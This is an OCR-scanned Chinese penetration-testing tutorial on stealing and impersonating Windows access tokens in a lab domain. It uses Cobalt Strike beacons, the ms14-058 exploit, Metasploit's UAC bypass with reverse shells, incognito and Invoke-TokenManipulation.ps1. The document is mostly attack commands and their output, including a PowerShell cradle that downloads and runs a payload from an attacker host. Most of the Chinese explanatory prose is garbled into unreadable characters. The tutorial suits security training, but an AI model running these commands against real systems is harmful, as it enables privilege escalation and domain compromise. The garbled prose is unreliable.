MITRE | ATT&CK H13Tih

https://huntingday.github.io/

LA, PhiE 8 & F windows 5] % [token 7]

0x01 ATERARETE

VB 27 windows FEIREZTHARAMN? BRNTREERGZAFATHNALERRF X ZMHA?
ynfe[{E By CobaltStrike KBNS LRIV IEE R BHE R I A P IAE) < hE

eI A F meterpreter BTHAY incognito #RSKGIEN IS BRIV =18 E R Ged E R A A P50 < hE
f&B) incognito WER A A B INIAIESEREMITER payload

F A Invoke-TokenManipulation.psl TXHEHEIEE AR M hEHITEE payload

{&B) Invoke-TokenManipulation.psl $5EX system ij[a] S k2 MU LI mssql AHh f 2RAD &%

@13 Tokenvator.exe RGEUAIEENIEE A P IVIA B XM FTER payload

>
>
>
>
>
>
>
> ReE—MARRERE Minikatz ROEEER P B A<M, AL X0 BAREN R Fr A B A #H8 hash A6l

0x02 a7 windows HERETH A RN RERIGIIEER G AP THNLEIRFEXZEH4

LR R ERERR X, 15E < HE windows I THEREHAENLRERXRE L TXHN—MXNR, HHBHE —R/RRHEXATRR, SRARPNRENHENEEEFRZTAFNRRERIR, T2
RTREFHESEEFRNTHE, (LN, FEFTEATERCHNAR, REELBAFANCTHEEERAEAE T [GEAEECHKEAIERTERNAMAMNBIEE, EHAZMENMEA N ERE2EE
H—H, FAZME—], TR, £ windows RE(TBE AR XEMMSHE, T

— MRS [Delegation token], X< h#il % T AH KIzFE RDP &%

— TR B4R [Impersonation token], XFHUBE AT EMIERERNER, LN, net use ,wmi,winrm F5F. ..

x: LHENXAHSME, MEAERGERUEHRBR, BN —ERBERED, MFRRSHEMNSER P EHENE B a5 AR, ENATH A, ETEFARENER, LAETARSMUEA, TRTE
SEMRE N XE, BRE, ARN BN HAERFTAREXHNTR

HRINBEA T, ST EERAGEEI YA BC Mt B CP BRI EAIE) S, XL B, IR BIERZGAE R G EX SRR ITRH ARS8 ACL 89, Fr L, IR B RS FrE AP A SR,
PO ERE S LET AP DRER —MENA PR SH L, tban,windows By system 53 administrator, X R B EI LRI R G FRE ARG RISHE, Zib, BB NV IZSE— LN ERF HER
KEREET



ox03 fN{T{&EN CobaltStrike R ENthiE MRt B E R G HE RN A1 £ 8
B9, AR CobaltStrike, FHTE EMEIL LI beacon HEISkKFEN, XEH HiX
[08r2, FTEE A powershell, FTiERTUAAT ], AT

1508 http://192.168.3.101:83/shellcode.aspx il & 47 shellcode

beacon> shell systeminfo

'€ TIST - Windows Internet Explorer

(S & | hitp://192.168.3.101:83/shellcode.aspx

¢ Favorites () Connecting...

Welcome _
Bienvenido

&2

Cobalt Strike View Attacks Reporting Help

DR O EH=¢ BLUZGeEN sa B

= AFA1Z IR EIAY aspx #F7 shellcode, k1L beacon F[EIZkK, /5

BEREE THAGSNFAEMEERFR

external internal =

user

WEBSERVER-IS7

note

pid

last

Host Name:

0S Name:

05 Version:

0S Manufacturer:

0S Configuration:

0S Build Type:
Registered Owner:
Registered Organization:
Product ID:

Original Install Date:
System Boot Time:
System Manufacturer:

Event Log X | Listeners X | Beacon 192.168.3.101@4300 X

Member Server
Multiprocessor Free
Windows User

00496-001-0001283-84195
11/12/2017, 4:26:55 AM
10/13/2018, 9:38:39 AM
VMware, Inc.

i inele System Model: VMware Virtual Platform
Willkommen Bem_VInﬂﬁ System Type: x64-based PC
\fﬁeﬂfg Processor(s): 2 Processor(s) Installed.
Bienvenue [01]: Intel6d4 Family 6 Model 158 Stepping 9 GenuineIntel ~3696 Mhz

[02]: Intel64 Family 6 Model 158 Stepping 9 GenuinelIntel ~3696 Mhz
Phoenix Technologies LTD 6.00, 7/2/2015

Windows Directory C:\Windows

System Directory C:\Windows\system32

Boot Device \Device\HarddiskVolumel

System Locale en-us;English (United States)

en-us;English (United States)

(UTC+08:00) Beijing, Chongqing, Hong Kong, Urumgi

Tervetuloa BIOS Version:

Input Locale

Udvozoljiik

Kahwq opioute

BEE, BFEENE TN EMMNEERE, KIS ml2LE BiRERMN T, ZANEBREE, X T—RMERES
B B AR AV ER PR [ E T4 bypass BiREIZMANREMBIIF AR E R
— M AFREHEFWNHERD hash BEEZETEHENRNE BTN, EAZXH, 2R RENET Hals, RRESEV TR EEEHE [ IR IREX

hash [EEEZ|EHZE

PRNEEESCRNATRNEERNEEN S MAEEE,
RAMZEEAB ML HINRT , TERNSKEEE TEENT ALREREEERN, T

beacon> shell ipconfig /all

e D'X2N 0'3102 Sreta b &
Velkommen VELKOMEN e
Benvenuto Wi i) Time Zone:
— Total Physical Memory:
WE|ka Available Physical Memory:

Logon Server:
Hotfix(s):

Network Card(s):

2,047 MB
550 MB

H?itarn. Virtual Memory: Max Size: 4,095 MB
. internet information services y Virtual Memory: Available: 1,773 MB
Valkommen y _}ﬁ Virtual Memory: In Use: 2,322 MB
7 & Page File Location(s): C:\pagefile.sys
HD$ Geldiniz w‘-—_j.cqﬁl-L_lE_i Domain: rootkit.org

N/A
3 Hotfix(s) Installed.
[01]: KB2533623
[02]: KB2999226
[83]: KB976902
\ s nsta

EXNMNIRELERRFEEFLEENZHEILEAE hash HiE wni 53 net use T EHMRR—E—HR, AR FX

BRI, FERTEATAN B K& BB (8] o] RE B = L A AT £ 4=
iE I SO E BRI AR 4 1, MEEEZEERARE, AEHEARR ], A H BN ETELRE S
HEPEEENILESH], BA, A EATm ] X
X B, KX windows 18] hE A F]

2R

et 3

27 R B A



beacon> shell ipconfig /all

[*] Tasked beacon to run: ipconfig /all
[+] host called home, sent: 21 bytes
[+] received output:

Windows IP Configuration

Host Name

Primary Dns Suffix

Node Type

IP Routing Enabled

WINS Proxy Enabled

DNS Suffix Search List : rootkit.org

Ethernet adapter Local Area Connection 4:

Media State : Media disconnected
Connection-specific DNS Suffix
Description : TeamViewer VPN Adapter

Physical Address : 0O-FF-EF-71-C5-5F
DHCP Enabled
Autoconfiguration Enabled

Ethernet adapter Local Area Connection 3:

Connection-specific DNS Suffix :
Description : Intel(R) PRO/1000 MT Network Connection #3
Physical Address : 00-0C-29-2A-B2-9C
DHCP Enabled :
Autoconfiguration Enabled
Link-local IPv6 Address : feB0::abbe:eb5l:769e:30c2%15(Preferred)
IPv4 Address : 192.168.3.101(Preferred)
Subnet Mask : 255.255.255.0
Default Gateway : 192.168.3.1
DHCPv6 IAID : 369101865
DHCPv6 Client DUID : 00-01-00-01-21-99-14-D2-00-0C-29-3D-FA-F1
DNS Servers : 192.168.3.106
8.8.8.8

BMNEFLERFMG AL, ERED Sailss RN A ARRDE, RAELIEA CRE— RGNS M L[ X Fwindows ki, —MRIERL T, #2215 system R ], FABEER] 7, HFIEKA shell
R RAZ— T RIEAY web RSFAR, BT IABAN B IERZWHR THL AT, AT, iz # B — system £ RAY shell 3R, XEMNR AR N RE B AYIEN demo [N BFHIFSKER, A EZWIHE AL, LK
1, —RIER T EHEASX AR RN IRFER N, BEEV<FEIED
beacon> getuid

beacon> elevate ms14-058 system



Cobalt Strike View Attacks Reporting Help

BR O E=¢ BELPU GwbBbfan B

external internal = user computer note pid last

§2.168.3.10 92.168.3.10 M BSERVER 088

E 192.168.2.101 192.,168.3.101 pageweh WEBSERWVER-IST 4500 38ms

& W

Event Log X | Listeners X | Beacon 152.168.3.101@4500 X

beacon> getuid

[#*] Tasked beacon to get userid

[+] host called home, sent: 8 bytes

[*] You are IIS APPPOOL\pageweb

beacon> [Tcvate nSTa-058 systen]

[*] Tasked beacon to elevate and spawn windows/beacon http/reverse http (192.168.3.69:443)
[+] host called home, sent: 105015 bytes

[+] received output:

[¥*] Getting Windows version...

[¥] Solving symbols...

[*] Requesting Kernel loaded modules...

[¥] pZwQuerySystemInformation required length 58616

[*] Parsing SYSTEM INFO...

[*] 198 Kernel modules found

[¥*] Checking module \SystemRoot\system32\ntoskrnl.exe

[*] Good! nt found as ntoskrnl.exe at 0x0181a000

[¥] ntoskrnl.exe loaded in userspace at: 40000000

[*] pPsLookupProcessByProcessId in kernel: OxFFFFF80001B6D1FC
[*] pPsReferencePrimaryToken in kernel: OxFFFFF80001B709D0
[*] Registering class...

[*] Creating window. ..

[*] Allocating null page...

[*] Getting PtiCurrent...

[*] Good! dwThreadInfoPtr OxFFFFF90OC1CFAC30

[*] Creating a fake structure at NULL...

[*] Triggering vulnerability...

[!] Executing payload...

T, ZEI LAY system BERIE, BATH T UAEREZHEENFLEEILT
beacon> sleep ©

beacon> getuid

Cobalt Strike View Attacks Reporting Help

BE O EH=¢ 8LLUGwAH /e B G

external internal = user computer note pid last

. o 0 02.168 0 = EBSERWVER-I 088 5
Bl 192.168.3.101 192.168.3.101 pageweb WEBSERWVER-IISY 4300 81lms

o

Event Log ¥ | Listeners X | Beacon 192.168.2.101@4500 X | Beacon 192.168.3.101@2088 X

beacon> sleep 0
[*] Tasked beacon to become interactive
beacon> getuid

[*] Tasked beacon to get userid
[+] host called home, sent: 24 bytes
[*] You are NT [AUTHORITY\SYSTEM (admin) |

Eean, BATMER T AL ER T, B dir YR8 windows B X, REAM R TR, XBREE, A ARSI xFRETTAOIMERE [tbin, BENKSZEE B hash, B EEHE S ]
beacon> getuid
beacon> shell net view

beacon> shell dir \\2008R2-DCSERVER\admin$



beacon> getuid

[#*] Tasked beacon to get userid

[+] host called home, sent: 8 bytes

[#] You are NT AUTHORITY\SYSTEM (admin)
beacon> shell net view

[*] Tasked beacon to run: net view

[+] host called home, sent: 16 bytes
[+] received output

Server Name Remark

\\2008R2-DCSERVER

\\FILESERVER

\A\LISA-PC

\\SQLSERVER

\\WEBSERVER-IIS7

The command completed successfully.

beacon> shell dir \\2008R2-DCSERVER\admin$%
[*] Tasked beacon to run: dir \\2008RZ-DCSERVER\admin$
[+] host called home, sent: 36 bytes

received output:

Access is denied.

A, BETRNEERREWN 7, BE, REXEZHTHIVRPNER—TEEHEFREHHIERE id, AABRNMESH 7 LRIV system NR, AT, EBie FIRNIZ 0 IXFE Vs R a9 A it
2, XEPHREEEEN, ETEARZRERE SR EHANHEY = Lo FABERE, RESHRIMEH - EFEIENER, 0T, MMNEXU 7 SeiflsmhE — P AEERN java #RE[ HLEZ2HETEFH
tomcat fR%5 ], ERUIAAHESMNITHE TN RRAEUAMEER FMEN, EXFRL tomcat EMEENSORIZITH, B NRFEAMNAET , FEBHMET, S—al& N ENME PN B s F S ailes
f9 administrators HFEM—MIER A, ZURR AT ABRETUESERIBENNER —aVSNXRREZ—

beacon> ps

sqlservr.exe NT AUTHORITY\SYSTEM
msmdsrv.exe NT AUTHORITY\SYSTEM
mysqld exe 64 : NT AUTHGHIT?HNETNGRK SEHUICE

EVERD G 3 1 Admi
omtsreco.exe NT AUTHORITY\SYSTEM
rundll32.exe NT AUTHORITY\SYSTEM

Ok, REUBRIE B MG, BARL ST beacon RER steal_token TH, RZIXGE EEA java sz AEE SR, SEERTEMNEE MG, LR EIBEREE dir 5558 windows H%, %
PRI IXIEF AR Y, XMW E R E—EER, SRRB T AFNIBRI SR ERERE 7 IRELDE SsicEylss THMERG TR, £, {58) CobaltStrike KRETEINE IS E IR A Pk 8 < MR f&
BSERRIRST T, R — R EAS X AR ER S, FE AV TS ERANERS, X B ERAE S5 EBTRRT

beacon> steal token 1892



beacon> getuid

beacon> shell dir \\2008R2-DCSERVER\c$

beacon> rev2self B4

beacon> steal token 1892
[*] Tasked beacon to steal token from PID 1892
[+] host called

[+] Impersonated HDDTKIT\admlnlstrator
beacon>

[*] Tasked beacon to get userid

[+] host called home, sent: 8 bytes

[*] You are ROOTKIT\administrator (admin)

beacon> [SheTl dir \\2008R2- DCSERVER\CS]

[*] Tasked beacon to run: dir \\2008R2-DCSERVER\c%
[+] host called home, sent: 32 bytes

[+] received output:

Volume in drive \\2008R2-DCSERVER\c$% has no label.
Volume Serial Number is A2FB-10B2

Directory of \\2008R2-DCSERVER\c$%

151 AM <DIR> Program Files

:09 PM <DIR> Program Files (x86)
146 AM <DIR> Users

125 AM <DIR> Windows

0 File(s) 0 bytes

4 Dir(s) 203,545,919,488 bytes

AR, HRMAZENAABRSENE, —EEILBBEEIMFEIRE X, 7 beacon HNE T —Y rev2self TR, B TRITTIE L ISR E A FERA A, B ARTERE system A A
BAE, T B GIEIRE] T system T, SKERAARAT

beacon> getuid

beacon> rev2self

beacon> getuid

beacon> getuid

[*] Tasked beacon to get userid

[+] host called home, sent: 8 bytes

[*] You are
beacon> revZself

[*] Tasked beacon to revert token

[+] host called home, sent: 8 bytes
beacon> getuid
[*] Tasked beacon to get userid

[+] host called home, sent: 8 bytes
[*] You are NT|AUTHORITY\SYSTEM (admin)




0x04 IN{IF|F meterpreter MY incognito MR GTEAE L AN BIEE RGeS BEF A AE /R
tbat, e BEIMEZLEEEI BFRE— B N AN meterpreter 441, 3 X BN G IER A3 MM T R2AE TR, BATENAVL, BEBERT, Bk EE— MR "BEA A" EE" AP, BT
E=E 5 bypass T UAC, s#[Bl—/ ] EIFAY administrator fXfRAY shell




[*] Sending stage (179779 bytes) to 192.168.3.114
[*] Meterpreter session 1 opened (192.168.3.69:25 -> 192.168.3.114:49348) at 2018-10-13 12:18:19 +0860

msf exploit( ) > sessions -i 1
[#] Starting interaction with 1...

meterpreter > sysinfo
Computer i LISA-PC

0s : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64

System Language : en_US

Domain : ROOTKIT

Logged On Users : 6

Meterpreter ! X86/windows

meterpreter > getuid
Server username: LISA-PC\win7

meterpreter > getsystem
priv_elevate getsystem: Operation failed: The environment is incorrect. The following was attempted:

Named Pipe Impersonation (In Memory/Admin)
Named Pipe Impersonation (Dropper/Admin)
Token Duplication (In Memory/Admin)

meterpreter > background
=] Backgrounding session 1...

ERT, BANINIZM T U E— NEIEE X A adninistrator X BRAY meterpreter,

B4 UAC bypass 20T, T {1 BHnil A bypassuac_eventvwr #EERRG[ F A CHNEBAL], —DIIRFI Ay
W, fE, AT HEEEARET BT getsystem, 54 shell 23] system T, RIFFIHHEI R G T A T B, A T ER =, ERRSHMAOAB o HANLI T BEN AR, R, XIEE 3148
21
mst > use exploit/windows/local/bypassuac_eventvwr
msf > set session 1
msf > set payload windows/meterpreter/reverse_tcp uuid
msf > set lhost 192.168.3.69
msf > set lport 110
mst > exploit
meterpreter > getuid
meterpreter > getsystem
meterpreter > getuid
meterpreter > use incognito A incognito &L

meterpreter > list tokens -u



=
(]
~h

exploit( > exploit

Started reverse TCP handler on 192.168.3.69:110

UAC is Enabled, checking level...

Part of Administrators group! Continuing...

UAC is set to Default

BypassUAC can bypass this setting, continuing...

configuring payload and stager registry keys ...

Executing payload: C:\Windows\SysWOW64\cmd.exe fc C:\Windows\System32\eventvwr.exe

Sending stage (179779 bytes) to 192.168.3.114

Cleaining up registry keys ...

Meterpreter session 4 opened (192.168.3.69:110 -> 192.168.3.114:49369) at 2818-10-13 13:16:23 +0800

. %% 4 R

e e e e e e e T
[ T Y Sl iy Sy i |

meterpreter > getuid

Server username: LISA-PC\win7

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
meterpreter > getuid

Server username: NT AUTHORITY\SYSTEM

meterpreter > use incognito

Loading extension incognito...Success.

meterpreter > list tokens -u

Delegation Tokens Available

LISA-PC\win7

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT_AUTHORITY\SYSTEM
ROOTKIT\administrator |
ROOTKIT\Lisa

Impersonation Tokens Available

NT AUTHORITY) MOUS LOGON

meterpreter > |

AN AHHEREEFE T, HX SlssH N7 rootkit. org XAME Y
meterpreter > shell

C:\Windows\system32>ipconfig /all

meterpreter = shell
Process 3876 created.

Channel 1 created.
Microsoft Windows [Version 6.1.7661]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>ipconfig /fall
ipconfig fall

Windows IP Configuration

Host Name . . . . . Lisa-PC
Primary Dns Suffix + « « « « . :]rootkit.org|
Mode Type . . . . . . . g v

IP Routing Enabled. . . - : No

WINS Proxy Enabled. . . - No

DNS Suffix Search List. Bk rootkit.org

AR E NGBS ESCHNER TEERE dir B#EHN windows B, RIAE, IR/ZNR
C:\Windows\system32>net view
C:\Windows\system32>dir \\2008R2-DCSERVER\c$

C:\Windows\system32>exit

C:\Windows\system32>net view
net view
server Name Remark

Y\ 2008R2-DCSERVER

\\FILESERVER

\\LISA-PC

\\SQLSERVER

The command completed successfully.

C:\Windows\system32>dir \\2008R2-DCSERVER\cS

dir 2008R2-DCSERVER\CS

C:\Windows\system32>|




R, B1= B incognito 18R, IS KRR G R AIPATE o] B h, 7 hi& ROOTKIT\administrator[IX EFEHUERE TR JHEMNAEISHE, RAIENT
meterpreter > list tokens -u

meterpreter > impersonate_token "ROOTKIT\\administrator"

f

meterpreter > impersonate_token "NT AUTHORITY\\SYSTEM" B 7 system #X{[R|N/G, LT IMEEhiE Y RGP ERHE A A NiE RN
meterpreter > getuid

meterpreter > rev2self = BEE, F AT MG, I E5HBINFIES IR E 2 ¥R EN ]

meterpreter > getuid
Server username: [NT AUTHORITY\SYSTEM

meterpreter > list tokens -u
Delegation Tokens Available

LISA-PC\win7

NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

ROOTKIT\administrator |
ROOTKIT\lisa

Impersonation Tokens Available
NT AUTHORITYYANONYMOUS LOGON
meterpreter > impersonate token "ROOTKIT\\administrator"

[+] Delegation token available
[+]11lSuccessfully i

ROOTKIT\administrator
rev2self |

meferpreter = getuld
Server username: LISA-PC\win7

meterpreter =

BT EEANE S, AN BEEE dir HiZH windows BRELAIXIER 58] T, MRUMT, ok, ik, EBNET meterpreter THL MR GREN AIEMERT , FLIRKIE, K F, EEEM
A msf RXFHB/IVERBENAKRE , HE, X T mst F MUK payload BIFATRRNEMEDRE [ E@MNFEEE/LFEC LK av ITRIEREN] FEESERTBAD T LEE, £—LBIRHEH, 8
T IRIILEILFER 0, PRI, RAEE msf ERIET ZHRS[E], BLEBICRHARZR AR, AR, BEAXRFEIEZ T U

meterpreter > shell

C:\Windows\system32>dir \\2008R2-DCSERVER\c$



C:\Windows\system32>net view
net view
Server Name

\\20608R2-DCSERVER

\\FILESERVER

\\LISA-PC

\\ SQLSERVER

The command completed successfully.

C:\Windows\system32=dir \\2008R2-DCSERVER\cS

dir \\2008R2-DCSERVER\cS

Volume in drive \\2008R2-DCSERVER\cS has no label.
Volume Serial Number is A2FB-10B2

Directory of \\2088R2Z-DCSERVER\cS

67/10/2018 67:51 PM <DIR=> Program Files
67/10/2018 ©09:09 PM <DIR=> Program Files (x86)
11/11/2017 ©61:46 PM <DIR=> Users
16/11/2018 ©04:25 PM <DIR> Windows

B File(s) ® bytes

4 pDir(s) 203,543,953,408 bytes

C:\Windows\system325|

0x05 f&Bh incognito TRMNERE AR SFMHHHIE S EMITIER payload

E7E, XRBMNHEG EEEAEBRRSEHN ond THTEMHRE, 5L, B2 KM psexec HA system HERAY cmd WK U#HFITREMHE MRS, INF HE &4 CobaltStrike payload, RAFRILEM
incognito.exe RIRINHEE ALK TTIX payload, 7 system APRAY cmd T @it incognito.exe HAITTINEER], BRIV F7E administrator AP MIAESHE, TR, BAXE R E/EE demo, L
HHPA—E#MIFFE adninistrator XMAF, EW T U HENERA NS, b, HEBNEA A, RETEAM, BEiEE B g F HRREEREN T AR UB N HOENBA L S X2 E, BA
REL O] LB X OSSN T, FREBRDMENE L, MERESFENRNE, Rtz 5, BTFRGZAFAEBRRELEENARE, SBERITELEBRER, SHLE/NO, b, RIX system DR X B R LR GZAR
SHRTERSHARELERE. . IMHEDFRIFELECENE —NELIEER adninistrator FBEX BN IZMASETAMMT , E ML X ERIE, BAREIXE, £ R0 ENIZBARIEAMT

ARRET ok, T B REKEE

# PsExec64.exe -accepteula -i -d -s cmd
# whoami

# incognito.exe list tokens -u | more

D:\tools\incognito2>whoami

nt authority\system

D:\tools\incognito2>incognito.exe list_tokens -u | more
[*] Enumerating tokens
[*] Listing unique users found

Scripted Web Delivery

PsExec v2.2 - Execute processes remotely
Copyright (C) 2@01-2016 Mark Russinovich
Sysinternals - www.sysinternals.com

This attack hosts an artifact that delivers a Cobalt Strike =

payload. The provided one-liner will allow you to quickly get Delegation Tokens Available

-

IIS APPPOOL\DefaultAppPool
IIS APPPOOL\pageweb

NT AUTHORITY\IUSR

NT AUTHORITY\LOCAL SERVICE

] ] ] NT AUTHORITY\NETWORK SERVICE
Started service: Scripted Web Delivery NT AUTHORITY\SYSTEM

Copy and paste this URL to access it WEBSERVER-IIS7\Administrator
*http:/f192.168.3.69:81/incognito'))"

fcmd started on WEBSERVER-IIS7 with process ID 4@92. URI Path:  |fincognito

D:\tools\PSTools> Local Host: |192.168.2.69 |

Success

[+ Administrator: G\Windows\system32\cmd.exe LD ca | p a rt : | 8 1 |
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2089 Microsoft Corporation. All rights reserved. Listener: |5y5tenq - || Add |

C: \Windows\system32>whoami Type: Epowershe” 'ﬂ

nt authority\system
C: \Windows\system32> | Launch || Help | Ok NT AUTHORITY\ANONYMOUS LOGON

tring(

Impersonation Tokens Available




KT incognito.exe WEMKAZEEIMNT

# incognito.exe execute "WEBSERVER-IIS7\Administrator" "powershell.exe -nop -W hidden -C \"IEX ((new-object

net.webclient).downloadstring( 'http://192.168.3.69:81/incognito’))\""

[+ Administrator: C:\Windows\system32\cmd.exe

D:\tools\incognito2>incognito.exe execute "WEBSERVER-IIS7\Administrator” "powershell.exe -nop -w hidden -c \"I=
EX ((new-object net.webclient).downloadstring('http://192.168.3.69:81/incognito"))\""

[*] Enumerating tokens

[*] Searching for availability of requested token

[+] Requested token found

[+] Delegation token available

[+] Created new process with token successfully

D:\tools\incognito2>
o UEE], #E BRI AR beacon FE—MIEF Y administrator X PRAY beacon
beacon> sleep ©

beacon> getuid

Cobalt Strike Wiew Attacks Reporting Help

R (O EH=¢ B8 LPU GwBH Lfa B

external internal = user computer note pid last
~ 192.168.3.10 92.168.3.10 8 g ato VEBSERVER 040
B® 192.168.3.101 192.168.3.101 SYSTEM * WEBSERWER-IIST 4475 14dms
E‘,‘! 182.168.2.101 182.168.2.101 pageweb WEBSERWVER-IST 4500 18ms

&

Event Log ¥ | Listeners X | Beacon 192.168.2.101@4500 X | Beacon 192.168.3,101@4476 ¥ | Beacon 192.168.3.101@1040 X

beacon> sleep 0
[*] Tasked beacon to become interactive

beacon> getuid

[*] Tasked beacon to get userld
[+] host ca
[*] You are WEESEHUEH-IIS?Kﬂdmlnlstrator (admin)

0x06 F A Invoke-TokenManipulation.psl "FKXH"HEIEE A, 54 SEHITES payload
B 75 {E, B LFL AT beacon REFTIRIET , MR EAESLEH, /RO UEZIBAME ps HIAREIL beacon BB NEE Bl EEX A, BIEFHTE, MAMR T , E2REZTEERELZDN cnd TiF, £iE

ml==

powershell ;T K M/F1E Invoke-TokenManipulation.psl FIANNE#H &, Z AW, L Z R AL B EEMEAICB C HFI1RE] system iR T, BEIBERABRNIRAFIR L-Enumerate IEIBI If MZE HFI R 5

FErE PRI S

PS > Invoke-TokenManipulation -Enumerate | out-file res.txt



[+ Administrator: G\Windows\system32\cmd.exe - powershell -exec bypass

D:\>powershell -exec bypass
Windows PowerShell
Copyright (C) 2089 Microsoft Corporation. All rights reserved.

PS D:\> whoami
nt authority\system
PS D:\> cd .\tools

PS D:\tools> Import-Module .\Invoke-TokenManipulation.psl
PS D:\tools> Invoke-TokenManipulation -Enumerate | out-file res.txt

PS D:\tools>

FIFFIANELFYa TR T EHENSR, ETREBFHRAHFRIAE Y

PrivilegesEnabled
PrivilegesAvailable

ProcessId

Domain

Username

hToken

LogonType
IsElevated
TokenType
SessionlD
PrivilegesEnabled

PrivilegesAvailable

26 ProcessId

[=|resb E3 ]

3 Domain | ROOTKIT |
Username administrator
hToken a04
LogonType 2

7 IzElevated True
TokenType Primary
SessionID ill

{SeChangeNotifyPrivilege,
{8eIncreaseQuotaPrivilege,
rivilege...}

940

SeImpersonatePrivilege, SeCreateGlobalPriwvil
SeSecurityPrivilege, SeTakeOwnershipPrivile

NT AUTHORITY
SYSTEM

1628

0

True

Primary

2

{SeAssignPrimaryTokenPrivilege, SelLockMemoryPrivilege,
rivilege...}

{8eCreateTokenPrivilege, SelncreaseQuotaPrivilege, SeSecurityPriwvilegs
Privilege...}

4600

SeTcbPrivilege,

ABALEBIZE system, tban, WARRBNU—PEENAERERINSOEHED cnd, 20T

PS > Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "WEBSERVER-IIS7\Administrator"

[ g
VATTETIES

B bl

Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username |"WEBSERVER-IIS7\Administrator"

PS D:\tools
PS D:\tools>

[.] Administrator: emd.exe

Microsoft Windows [Uersion 6.1.76611

Copyright (c? 2809 Microsoft Corporation. All rights reserved.

C:sUWindowsssystem32>




tean, AN AR HEZE NS EN S HER, HERMNEEZARX M EHEAENBR RSN EZEHED ond, tha] UIE TEX AT

PS > Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 1892

(o 1A

PS D:\tools> Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId |1892
PS D:\tools>

[z+.] Administrator: cmd.exe

Microsoft Windows [Uersion 6.1.76811
Copyright ¢c>» 288? Microsoft Corporation. HAll rights reserved.

ot e

shUInanL £ 10 n
rootkitsadministrator

C:sWindowsssystem3d2>_




0x07 {&HBj Invoke-TokenManipulation.psl Z3EX system 58S B I SCH mssql AMb G Z D& F

XN Z 8T, B %, HEFRIRS T Taskill 556, BR, RYINEE TR MMABERDN, SN, RXIFHAEMEN LS, BCHEZEBEEELEARZRE, XURACUE/ NEEN— M EEEENY)
R, T, WRIRENZRBEA, ARG IN#HER AR —E0R, BEXLEENBRSEZTEER, RANNETEATGEN, ET LI t/\E, 5EMERLS, AT REFRERILAINE, EAEXRT ,FE
BRI, ok, IR 1B W IERR , mssql AR ZILEFIWOELH AT mssql I windows A B RWIE, BINER T, BT %% mssql g9 administrator AP [—fR7E windows ARG arth#E XA ]
M system AP [HXHEREREXH, KIEZFIRER K mssql HIEAANBNAFPRBRSH]EEEAM I windows WIEHT R EREANFERBERERNTERN, hiE2HT UL, B2 o Phiid
I system [y token M7 T, B B irtlas A LI R 288 5 3% mssql

—REBRTABRAT SSEDLNEXATR? b, RRAEEZBEHENARET 7 HIX SHEERSHNERSBR LD, system BER ], ELLREBANZ, R YRR EE RV PAX K-S,
BRI hash RAZIULR T, BILEHEAH K, BIRENEAKSELERE, ESHREEE L a5 P HEIEERNEIE, B ANV, o] WIXH, FREIABIAEE R ARENRE, (R IXEEX Sl
BEANSEAA, RErdp BidE, B FEDUE, ¥R B HIEFTFF SQL Server Management Studio [ windows IAIE RN TAMIEZENAER L[ ERENERTEERARYEEININAAHERELE nssql
FA P, BT IAMEB AL, AL 2 BN R ], XEARE, EXtiEEEE, A BREEEEE system NPRA cmd, 5 B AXMIFRAY cmd £ /85 SQL Server Management Studio FiT [0
T,HETUEERE S, EHRAN TEXHFE R powershell —§85, ILE, B2 X windows INEE L HFH LA &R, AN T

# whoami
PS >powershell -exec bypass
PS >Import-Module .\Invoke-TokenManipulation.psl

PS >Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "NT AUTHORITY\SYSTEM"



:‘E :-..l.-.-:h_-..:__._‘t T _ e
D:\tools>whoami
webserver-iis7\administrator

[ B |
- SQL Server Management Studio Prope _?fj
D:\tools>powershell -exec bypass | ] ]'
. Securty Details Previous Versions
Hlndnys PowersShell . _ . g Soted | Compubity |
Copyright (C) 2009 Microsoft Corporation. All rights reserved. =
;:PL E":b 503L Server Management Studio
PS D:\tools> Import-Module .\Invoke-TokenManipulation.psl —
PS D:\tools> Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "NT AUTHORITY\SYSTEM" fand e fopicata
PS D: Ktﬂﬂls} Target location: IDE
Target: " Tools Binn \W55hel"Common 7 DE  Ssms exe”’
Microzsoft Windows [Uersion 6.1.76811 A
Copyright <c>» 2807 Microsoft Corporation. All rights reserved. Start in- I
nt_authority\systen ] Shorcut key: [Nore
C:sWindowsssystemd2 > i ] TR _I_J
Commert: ]
Open Fle Location | Change lcon... Advanced. .. ‘
oK | Cancel Amply

T, %) SQL Server Management Studio HZ FimAYLEXSEEIZEIE I system IR K B5)

PS >Invoke-TokenManipulation -CreateProcess "C:\Program Files (x86)\Microsoft SQL Server\100\Tools\Binn\VSShell\Common7\IDE\Ssms.exe" -Username "NT AUTHORITY\SYSTEM"

[z4.| Administrator: C:\Windows\system32\cmd.exe - powershell -exec bypass
D:\tools>whoami
webserver-iis7\administrator

D:\tools>powershell -exec bypass
Windows PowerShell

Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS D:\tools> Import-Module .\Invoke-TokenManipulation.psl
PS D:\tools> Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "NT AUTHORITY\SYSTEM"
PS D:\tools> Invoke-TokenManipulation -CreateProcess "C:\Program Files (x86)\Microsoft SQL Server\100\Tools\B

\Common7\IDEYSsms.exe'| -Username "NT AUTHORITY\SYSTEM"

PS D:\tools> _

ZIESEEHY mssql B XA, TR REZEZL Server name BN . [FRaAM, HEiHles]", MiEad connect Bl o] HiEE#H L, IRPAHEEMATAIREE, N NELFFREENIR, &L, X
F Invoke-TokenManipulation.psl BIAKF A, W EIMHEERST 7,5 7, HAF—HIZ4E T RevToSelf %I, YIRAXZE MNA LG, ILEHFIEEWE R, G EIkK, 1R B iRV s R ERL T

R AT, ST windows K, PA T EHEFEIE powershell, 3450y , B IHEREE] A M BTRYL B 1Z IEX SMNIIB R AARIL T , HEL W HFRETERER, R U BEXLE ps HAERSG—HE B #rib 78
VAN

